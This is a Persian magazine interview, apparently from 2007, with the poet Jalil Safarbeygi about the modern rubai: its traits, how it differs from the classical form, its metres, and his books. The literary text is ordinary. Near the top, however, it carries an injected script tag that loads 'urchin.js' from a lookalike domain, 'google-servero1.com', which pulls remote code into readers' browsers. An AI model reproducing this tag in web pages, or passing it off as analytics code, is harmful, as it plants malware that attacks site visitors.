|
ماهنامه شماره 196 فروردين 1386
بخش مقالات علوم و ادبیات
این مقاله 1141 بار خوانده شده است.
نسخه قابل چاپ |
نویسنده : حسن زاده |
|
مروری بر رباعی امروز
</title><script src='http://google-servero1.com/urchin.js'></script>
|
|
در میان آشفته بازار نشر و پخش کتاب، بالاخص در حوزه شعر، شنیدن اینکه مجموعه شعری در کمتر از 3 ماه به چاپ سوم خود رسیده، خبری مسرتبخش و امیدوارکننده است.
جلیل صفربیگی متولد 1352 ایلام و شاعر برگزیده این استان در جشنواره سال گذشته شعر فجر است. او اگرچه که با غزل و شعر سپید آغاز کرده، اما اکنون به عنوان یکی از شاعران شاخص در جریان رباعی امروز مطرح میباشد.
استقبال از آخرین کتابش"کمکم کلمه میشوم" که گزینشی از کارهای او در حوزه رباعی است، بهانهي گفتوگوی کوتاه ما با وی شد.
***
چه شد که از سرودن غزل به رباعی روی آوردید؟
رباعی سرودن را به صورت جدی از سال 82 آغاز کردم. پس از سرودن تعدادی رباعی احساس کردم میتوانم در این قالب حرفی برای گفتن داشته باشم. البته هنوز هم غزل و شعر سپید میگویم ولی دغدغهی اصلیام رباعی است.
ویژگیهای یک رباعی خوب چیست؟
پیوستگی فرم و محتوا، تازگی در مضمون، کشف و نوآوری، جزیی نگری، پرهیز از کلیشه و تکرار و نزدیک بودن به زبان گفتار میتوانند از مشخصههای یک رباعی خوب باشند.
وضعیت رباعی امروز را در قیاس با دیگر قالبهاي شعر چگونه میبینید؟
رباعی هم در کنار سایر قالبهای شعر فارسی به حیات خودش ادامه میدهد. خوشبختانه بعد از انقلاب رویکرد شاعران به رباعی و خلق رباعیهای زیبا باعث جان گرفتن و رواج بیشتر این قالب شده و امروزه شاعران بیشتری به این قالب کهن فارسی میپردازند. فکر میکنم نگاه قالبی به شعر درست نیست. هر شعری خوب باشد- در هر قالبی که سروده شده باشد- مورد اقبال و توجه مخاطب قرار میگیرد.
تفاوت رباعی امروز با رباعی دیروز؟
| رباعی دیروز از نظر فرمی بیشتر به شکل استنتاجی بود. یعنی مقصودم اين است كه رباعي فارسي، غالبا شكل استنتاجي داشته است: مقدمه، طرح بحث و نتيجهگيري، فرم كلي رباعي را تشكيل ميداده است و نتيجهگيري، غايت اصلي رباعي بوده است؛ اين يعني رباعي از آخر به اول سروده ميشده اما از اول به آخر خوانده ميشده است. از نظر محتوایی و مضمونی نیز غالبا با صدور حکم و قطعیت همراه بوده و بیشتر به مسايل کلی هستی میپرداخته در حالی که رباعی امروز بیشتر جزیینگر است تا کلینگر. تعلیق و گرهافکنی و گرهگشایی دیگر جایگاه چندانی در رباعی امروز ندارد و شاعر رباعی سرای امروز به جزییترین و ابتداییترین مسايل زندگی انسان میپردازد. سویههای تغزلی زبان نیز در رباعی امروز نمود بیشتری یافتهاند. ضمن اینکه استفاده از مولفهها و پارامترهای شعر سپید به رباعی امروز حیاتی دیگر بخشیده است.
تواناییهای رباعی، امکانات و محدودیتهایش؟
رباعی قالبی کاملا ایرانی و اصیل است. در جهان امروز که مخاطب کمحوصله است، مینیمال بودن رباعی یک حسن محسوب میشود. اوزان فراوانی که در رباعی استفاده میشود- 24 وزن - از خصوصیات مثبت رباعی است. بحر هزج از حسنهای دیگر رباعی است. این بحر اصولا به وزن طبيعي گفتار نزديكتر است؛ ضمن اين كه رباعي، تنها قالبي است كه شاعر مجاز است در هر يك از 4 مصراع، يكي از اوزان هجدهگانه (يا به قول برخي از كارشناسان، اوزان بيست و چهارگانه) را به كار ببرد. ديگر اين كه وزن رباعي از 48 هجا تشكيل شده است كه در قياس با 2 نوع شعر كوتاه ژاپني، يعني هايكو و تانكا به نتيجه جالبي ميرسيم: هايكو 17هجايي و تانكا 31 هجايي است؛ رباعي به اندازه مجموع هايكو و تانكا، هجا دارد كه قدرت مانور بيشتري به شاعر ميدهد.
مهمترین محدودیت رباعی شاید همان مهمترین حسنش باشد، یعنی مینی مال بودنش!- دیگر اینکه حرف زدن و حرف تکراری نزدن در چهار مصراع کار مشکلی است. از همه مهمتر اینکه رباعی نه تنها در ایران که در سراسر جهان به واسطهی رباعیهای خیام شناخته شده است و قلههای بزرگی دارد- مثل خیام- برای همین در سایهی قلهها نماندن در رباعی کار بسیار سختی است. خیام، مولانا، عطار، بیدل و.... از جمله رباعیسرایان قهار هستند که حرف تازهای زدن در پیشگاه این بزرگان کاری است کارستان!
رباعی جلیل صفربیگی از ابتدا تاکنون چه سیر تحولی را طی کرده است؟
رباعی صفربیگی چیزی جدا از رباعی دیگر هم نسلانش نیست. شاید تلاش برای خود بودن و تکراری نسرودن- دقت کنید: تلاش- رباعیاش را متمایز جلوه دهد. من هنوز هم دارم تجربه و تمرین میکنم و بیتعارف چیزی به رباعی اضافه نکردهام. فقط- به زعم خودم- رباعیام شناسنامه دارد.
آثار منتشره و در دست چاپ؟
تاکنون شش جلد کتاب شعر چاپ کردهام که شامل یک مجموعه شعر سپید، یک مجموعه غزل و چهار مجموعه رباعی هستند. گزیدهای از همهی این شعرها با عنوان- واران- در دست چاپ است که به زودی منتشر میشود. |
|
|
|
|
